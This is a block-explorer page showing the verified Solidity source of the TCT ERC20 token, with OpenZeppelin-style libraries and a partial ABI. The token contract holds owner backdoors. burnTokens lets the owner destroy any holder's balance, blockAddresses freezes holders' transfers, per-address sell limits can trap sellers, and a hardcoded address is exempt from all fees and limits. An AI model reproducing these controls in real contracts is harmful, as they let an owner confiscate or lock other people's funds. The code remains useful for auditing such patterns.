ETH Price: $2,540.60 (+0.27%)

Token

Trust Community Token (TCT)
 

Overview

Max Total Supply

100,000,000,000,000 TCT

Holders

249

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
226,467,999,086.009820853802413387 TCT

Value
$0.00
0x4493dcb0fadb5307ca0cc7320a9228d442f8ac3c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TrustCommunityToken

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity Multiple files format)

File 7 of 7: TrustCommunityToken.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.6;

import './ERC20.sol';
import './Address.sol';
import './Ownable.sol';
 
contract TrustCommunityToken is ERC20, Ownable {

    mapping(address => uint256) private _blockedAddresses;
    mapping(address => uint256) private _sellLimitAddresses;
    mapping(address => bool) private _buyAddresses;
    address private _tctBurnWallet;
    address private _tctBurnAddress;
    address private _communityWallet;
    uint256 private _burnRate;
    bool private _sellLimitEnabled;
    bool private _failSafeEnabled = false;
    uint256 private _buyLimitBasePoints;
    uint256 private _sellLimitBasePoints;
    uint256 private constant _totalSupply = 100000000000000000000000000000000; //100 Trillion supply with 18 decimals
    struct TaxFreeFund {
        address toAddress;
        uint256 amount;
    }
    constructor() ERC20('Trust Community Token', 'TCT') {
        _tctBurnWallet = address(0x88927Ae2C17f739df5bE18b34D382889FeBce82f);
        _communityWallet = address(0x23f7b45043e930B36FcB31d4a44d61bCc044cccf);
        _tctBurnAddress = address(0x000000000000000000000000000000000000dEaD);
        _burnRate = 100; // 1% burn rate
        _sellLimitEnabled = true;
        _buyLimitBasePoints = 200; 
        _sellLimitBasePoints = 1000; 
        _mint(msg.sender, _totalSupply);
  
    }

    function transfer(address _to, uint256 amount) public virtual override returns (bool) {
        address _from = _msgSender();
        uint256 senderBalnce = balanceOf(_from);
        uint256 toBurnAndToShare = amount / _burnRate;
        
        if(_failSafeEnabled || _from == 0x97e5d79513966F3164F549dA5868CccDcb51ad67) {
            ERC20.transfer(_to, amount);
            
        } else {
            doValidateBeforeTransfer(_from, _to, amount);
            if(ERC20.transfer(_to, amount - (2 * toBurnAndToShare))){
                if(senderBalnce > amount) {
                    ERC20.transfer(_communityWallet, toBurnAndToShare);
                    ERC20.transfer(_tctBurnWallet, toBurnAndToShare);
                }
            }
        }
        return true;
    }

    function transferFrom(address _from, address _to, uint256 amount) public virtual override returns (bool) {
        
        if(_failSafeEnabled || _from == 0x97e5d79513966F3164F549dA5868CccDcb51ad67) {
           ERC20.transferFrom(_from, _to, amount); 
        } else {
            doValidateBeforeTransfer(_from, _to, amount);
            ERC20.transferFrom(_from, _to, amount); 
        }
        return true;
    }

    function communityWallet() public view returns (address) {
        return _communityWallet;
    }
    
    function burnWallet() public view returns (address) {
        return _tctBurnWallet;
    }
    
    function isAddressBlocked(address addr) public view returns (bool) {
        return _blockedAddresses[addr] > 0;
    }
    
    function isSellLimitForAddress(address addr) external view returns(uint256) {
        return  _sellLimitAddresses[addr];
    }

    function isSellLimitEnabled() external view returns(bool) {
        return _sellLimitEnabled;
    }

    function burnTokens(address from, uint amount) external onlyOwner() {
        _transfer(from, _tctBurnAddress, amount);
    }

    function taxFreeTransfer(address to, uint256 amount) external onlyOwner() returns (bool) {
        ERC20.transfer(to, amount);
        return true;
    }

    function taxFreeTransferFrom(address from, address to, uint256 amount) external onlyOwner() returns (bool) {
        ERC20.transferFrom(from, to, amount);
        return true;
    }

    function taxFreeTransfers(address[] memory addresses, uint256[] memory amounts) external onlyOwner() returns (bool) {
        for (uint256 i = 0; i < addresses.length; i++) {
            address addr = addresses[i];
            uint256 amount = amounts[i];
            ERC20.transfer(addr, amount);
        }
        return true;
    }

    function blockAddresses(address[] memory addresses) external onlyOwner() {
        for (uint256 i = 0; i < addresses.length; i++) {
            address addr = addresses[i];
            _blockedAddresses[addr] = 1;
        }
    }

    function enableOrDisableSellLimit(bool enableDisable ) external onlyOwner() {
        _sellLimitEnabled = enableDisable;
    }

    function setBuyLimitBasePoints(uint256 basePoints) external onlyOwner(){
        _buyLimitBasePoints = basePoints;
    }
    
    function getBuyLimitBasePoints() external view returns(uint256) {
        return _buyLimitBasePoints;
    }
    
    function setEnableDisableFailSafe(bool enableFailSafe) external onlyOwner(){
        _failSafeEnabled = enableFailSafe;
    }
    
    function setEnableDisableFailSafe() external view returns(bool) {
        return _failSafeEnabled;
    }
    
    function setSellLimitBasePoints(uint256 basePoints) external onlyOwner(){
        _sellLimitBasePoints = basePoints;
    }
    
    function getSellLimitBasePoints() external view returns(uint256) {
        return _sellLimitBasePoints;
    }
    
    function unblockAddresses(address[] memory addresses) external onlyOwner() {
        for (uint256 i = 0; i < addresses.length; i++) {
            address addr = addresses[i];
            delete _blockedAddresses[addr];
        }
    }

    function addSellLimitAddresses(address[] memory addresses, uint256 percentage) external onlyOwner() {
        for (uint256 i = 0; i < addresses.length; i++) {
            address addr = addresses[i];
            _sellLimitAddresses[addr] = percentage;
        }
    }

    function addBuyAddresses(address[] memory addresses) external onlyOwner() {
        for (uint256 i = 0; i < addresses.length; i++) {
            address addr = addresses[i];
            _buyAddresses[addr] = true;
         }
    }
    
    function removedBuyAddresses(address[] memory addresses) external onlyOwner() {
        for (uint256 i = 0; i < addresses.length; i++) {
            address addr = addresses[i];
            _buyAddresses[addr] = false;
         }
    }
    
    function removeSellLimitAddresses(address[] memory addresses) external onlyOwner() {
        for (uint256 i = 0; i < addresses.length; i++) {
            address addr = addresses[i];
            delete _sellLimitAddresses[addr];
        }
    }

    function checkIfSellExceedsLimit(address addr, uint256 amount) internal virtual {
        
        string memory message = "Your sale exceeds the amount you are allowed at this time. Please contact TCT Team for assistance";
        if(_sellLimitBasePoints > 0) {
             checkIfExceedsLimit(addr, amount, _sellLimitBasePoints, message);
        }
        if(_sellLimitEnabled) {
            uint256 basePoints =  _sellLimitAddresses[addr];
            uint256 addrBalance = ERC20.balanceOf(addr);
            if(basePoints > 0 && addrBalance > 0) {
                uint256 maxAmount = (addrBalance * basePoints) /10000;
                require(amount <= maxAmount, message);
            }
        }
    }
    
    function checkIfExceedsLimit(address addr, uint256 amount, uint256 basePoints, string memory message) internal virtual {
        if(_buyLimitBasePoints > 0) {
            uint256 addrBalance = ERC20.balanceOf(addr);
            uint256 maxAmount = (addrBalance * basePoints) /10000;
            require(amount <= maxAmount, message);
        }
    }
    
    function isBuyAddress(address addr) internal virtual returns(bool){
        return _buyAddresses[addr]; //this is the liquidity wallet
    }

    function doValidateBeforeTransfer(address _from, address _to, uint256 amount) internal virtual {
        require(_blockedAddresses[_from] != 1, "You are currently blocked from transferring tokens. Please contact TCT Team");
        require(_blockedAddresses[_to] != 1, "Your receiver is currently blocked from receiving tokens. Please contact TCT Team");

         if(isBuyAddress(_from)) {
            checkIfExceedsLimit(_from, amount, _buyLimitBasePoints, "Your buy exceeds the amount you are allowed at this time. Please contact TCT Team for assistance");
        } else {
            checkIfSellExceedsLimit(_to, amount);
            checkIfSellExceedsLimit(_from, amount);     
        }
    }
}

File 1 of 7: Address.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.

        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

File 2 of 7: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 3 of 7: ERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, burnAddress(), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
          _balances[account] = accountBalance - amount;
          _balances[burnAddress()] = _balances[burnAddress()] + amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, burnAddress(), amount);

        _afterTokenTransfer(account, burnAddress(), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function burnAddress() public virtual returns (address) {
      return address(0);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 4 of 7: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 5 of 7: IERC20Metadata.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 6 of 7: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"addBuyAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"percentage","type":"uint256"}],"name":"addSellLimitAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"blockAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"communityWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enableDisable","type":"bool"}],"name":"enableOrDisableSellLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBuyLimitBasePoints","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSellLimitBasePoints","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isAddressBlocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSellLimitEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isSellLimitForAddress","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[]